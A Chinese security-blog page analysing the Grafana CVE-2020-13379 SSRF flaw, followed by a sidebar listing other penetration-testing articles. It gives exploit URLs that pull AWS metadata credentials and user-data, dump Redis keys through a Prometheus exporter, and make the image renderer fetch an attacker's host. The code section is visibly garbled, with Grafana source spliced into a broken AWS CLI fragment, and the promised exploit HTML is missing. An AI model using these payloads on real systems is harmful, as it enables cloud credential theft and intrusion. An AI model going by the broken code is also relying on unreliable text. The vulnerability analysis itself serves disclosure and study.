Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
摘要:在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
研究发现,在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3.0.1至7.0.1版本。在报告了相关信息后,为该产品分配了漏洞编号CVE-2020-13379。
漏洞发现过程
在Grafana的名为api.go的开源文件中,第423行有以下代码行:
r.Get(“ / avatar /:hash”,avatarCacheServer.Handler)
为了加载由用户上传并保存在gravatar上的头像图像,此行代码读取/avatar/:hash中的哈希值(例如,https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....),并将其传递到域名为secure.grafana.com的相关路径。在这里,一般的代码逻辑如下:
const ( gravatarSource = "https://secure.gravatar.com/avatar/" ) ... case err = ec2Instances.txt echo "EC2 Instances outputted to \"ec2Instances.txt\"!" aws s3api list-buckets > s3Buckets.txt echo "S3 Buckets outputted to \"s3Buckets.txt\"!"
通过AWS公共元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以获取许多与目标实例相关的敏感信息,尽管AWS文档反复声称不在实例位置存储凭证信息。但是,根据经验仍然发现许多关键数据,例如K8S Secrets,IAM凭证,SSL凭证和GitHub凭证。
此外,我们还可以从另一个AWS路径获取有用的信息:
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
漏洞利用2-图片渲染过程导致的Blind SSRF
Grafana实例内部发生了大量的图像渲染过程,因此攻击者可以使用Headless Chrome实例(Chrome在非Chrome环境中运行)来构造包含超时变量的HTML页面,并将其用作实现长期的堡垒内网RCE攻击尝试。
同样,我们可以使用CVE-2020-13379的SSRF漏洞执行Intranet端口扫描检测。例如,在一般的Grafana实例中将有一个3001端口,此SSRF方法可以成功检测到该端口:
HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 22 ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg" Date: Wed, 29 Jul 2020 11:21:31 GMT Connection: keep-alive Grafana Image Renderer
基于此,攻击者可以通过以下链接精心构建Grafana实例系统以执行危险操作:
localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30
编写以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。
漏洞3-操控Gitlab的 Prometheus Redis导出器
Prometheus是一个开源服务监视系统和时间序列数据库。如前所述,该漏洞还将影响版本低于13.1.1的Grafana Gitlab实例。根据Gitlab文档,Grafana Gitlab实例从9.0版开始,默认情况下都启用了Prometheus和Exporter。这些导出器可能是攻击者利用CVE-2020-13379的突破点。导出器之一是Redis Exporter,其路径http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*,由攻击者使用target参数构造,通过该路径可以下载redis服务器中的所有关键信息。
漏洞4-Image-Only SSRF -> Full-Read SSRF
在Grafana开源文件avatar.go的第104行中,SSRF响应的内容类型(Content Type)为image / jpeg,这使我们有独特的机会利用基于SSRF漏洞的其他漏洞。假设我们有以下情形:
example.com/fetchImage.php?image=http://localhost/image.png
fetchImage.php中的代码将HTTP请求发送到请求目标,然后检查其内容类型(Content Type)是否为image / jpeg,如果是,则返回请求的内容。因此,如果内部Grafana实例具有我们的CVE-2020-13379漏洞,则攻击者可以构造以下链接以形成内容读取SSRF漏洞攻击:
example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254
由于返回的内容需要为image/jpeg,因此它将执行content-type验证。此外,由于这是由基于图像的SSRF触发的读取SSRF,并且攻击者可以控制链接重定向,因此攻击者还可以将其用于文件扩展名检查欺骗。
相关热词搜索:Grafana CVE-2020-13379 SSRF
上一篇:Google Chrome浏览器CVE-2020-6519安全漏洞:攻击者利用漏洞绕过网络的内容安全策略(CSP),窃取用户数据并执行恶意代码。
下一篇:Windows CVE-2020-1313漏洞分析和利用:影响Windows 10和Windows Server Core产品

Warning: file_put_contents(/www/wwwroot/www.023niu.com/caches/caches_tpl_data/caches_data/dbb9dfb7583cf7fc6b2203caae00938b.cache.php): failed to open stream: Permission denied in /www/wwwroot/www.023niu.com/phpcms/libs/classes/cache_file.class.php on line 60
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )9783( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6618( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4770( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )4242( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3859( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2903( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2453( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )2243( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )2021( 亮了
PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取注册邮箱和明文密码
牛创网络: "PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取PayPal注册邮箱和明文密码。
2020-02-03 10:43:56 )1943( 亮了